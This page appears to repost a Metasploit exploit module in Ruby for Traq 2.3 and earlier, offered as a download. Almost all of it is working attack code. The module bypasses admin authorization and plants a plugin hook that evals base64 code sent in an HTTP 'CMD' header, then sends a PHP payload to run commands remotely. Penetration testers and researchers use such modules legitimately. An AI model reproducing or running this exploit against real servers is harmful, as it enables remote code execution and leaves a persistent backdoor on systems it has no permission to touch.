read, write, eXecute…

'Traq ⇐ 2.3 authentication bypass / remote code execution exploit download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = ExcellentRanking

        include Msf::Exploit::Remote::HttpClient

        def initialize(info={})
                super(update_info(info,
                        'Name'           => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',
                        'Description'    => %q{
                                This module exploits an arbitrary command execution vulnerability in
                                Traq 2.0 to 2.3. It's in the admincp/common.php script.

                                This function is called in each script located into /admicp/ directory to
                                make sure the user has admin rights, but this is a broken authorization
                                schema due to the header() function doesn't stop the execution flow. This
                                can be exploited by malicious users to execute admin functionality resulting
                                for  e.g.  in execution of arbitrary PHP code leveraging of plugins.php
                                functionality.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         =>
                                [
                                        'EgiX',  # Vulnerability discovery and exploit
                                        'TecR0c' # Metasploit Module
                                ],
                        'References'     =>
                                [
                                        [ 'OSVDB', '77556'],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/18213/' ],
                                        [ 'URL', 'http://traqproject.org/' ],
                                ],
                        'Privileged'     => false,
                        'Payload'        =>
                                {
                                        'Keys'        => ['php'],
                                        'Space'       => 4000,
                                        'DisableNops' => true,
                                },
                        'Platform'       => ['php'],
                        'Arch'           => ARCH_PHP,
                        'Targets'        => [[ 'Automatic', {} ]],
                        'DisclosureDate' => 'Dec 12 2011',
                        'DefaultTarget'  => 0))

                register_options(
                        [
                                OptString.new('URI', [true, "The path to the Traq installation", "/"]),
                        ],self.class)
        end

        def check
                uri = datastore['URI']
                uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php"

                res = send_request_raw(
                        {
                                'uri'=> uri
                        }, 25)

                if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
                        return Exploit::CheckCode::Vulnerable
                end
                return Exploit::CheckCode::Safe
        end

        def exploit
                p = Rex::Text.encode_base64(payload.encoded)

                uri = datastore['URI']
                uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook"

                res = send_request_cgi(
                        {
                                'method'    => 'POST',
                                'uri'       => uri,
                                'vars_post' =>
                                        {
                                                'plugin_id' => '1',
                                                'title' => '1',
                                                'execorder' => '0',
                                                'hook' => 'template_footer',
                                                'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
                                        }
                        }, 25)

                uri = datastore['URI']
                uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php"

                res = send_request_cgi(
                        {
                                'method'  => 'GET',
                                'uri'     => uri,
                                'headers' =>
                                        {
                                                'CMD' => p,
                                                'Connection' => 'Close',
                                        },
                        }, 25)
        end
end
example usage